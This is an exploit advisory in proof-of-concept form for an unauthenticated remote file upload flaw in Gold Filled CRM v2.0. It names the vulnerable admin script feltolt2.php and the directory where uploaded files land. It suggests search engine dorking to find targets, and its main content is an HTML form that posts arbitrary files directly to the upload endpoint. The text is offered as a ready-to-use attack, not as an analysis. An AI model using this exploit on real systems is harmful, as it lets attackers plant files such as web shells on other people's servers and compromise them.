====================================================================================================================================
| # Title     : Gold Filled CRM v 2.0 Remote File Upload vulnerability                                                             |
| # Author    : indoushka                                                                                                          |
| # Tested on : windows 10 Français V.(Pro) / browser : Mozilla firefox 66.0.3(32-bit)                                             | 
| # Vendor    : https://codecanyon.net/                                                                                            |  
| # Dork      :                                                                                                                    |
====================================================================================================================================

poc :


[+] Dorking İn Google Or Other Search Enggine.

[+] The following html code upload your file remotely

[+] infected file : /feltolt2.php .

[+] This is the path where you will find your uploaded files ( product_images/original/)Exmpl : /product_images/original/index.svg

[+] save code as poc.html .

<br>
			<br>
			<br>
			<br>	
			<div class="center-block kozep">
				<br>
				<br>
				<center>
					<h2>Képek felvitele</h2>
					<br>
					<br>Termék azonosítója : <br>
					<br>
					<form action="http://127.0.0.1/goldfilledhu/admin/feltolt2.php" method="post" enctype="multipart/form-data" action="http://127.0.0.1/goldfilledhu/admin/feltolt2.php"><input type="file" name="files[]" multiple="multiple" accept="image/*"><br>
						<input name="send" type="submit" value="Feltölt">
						<input name="send" type="submit" value="Vissza">
					</form>			
					<br>
					<br></center>
			</div>	
		</body>
	</html>

Greetings to :=========================================================================================================================
                                                                                                                                      |
jericho * Larry W. Cashdollar * brutelogic* hyp3rlinx* 9aylas * shadow_00715 * LiquidWorm*                                            |        
                                                                                                                                      |
=======================================================================================================================================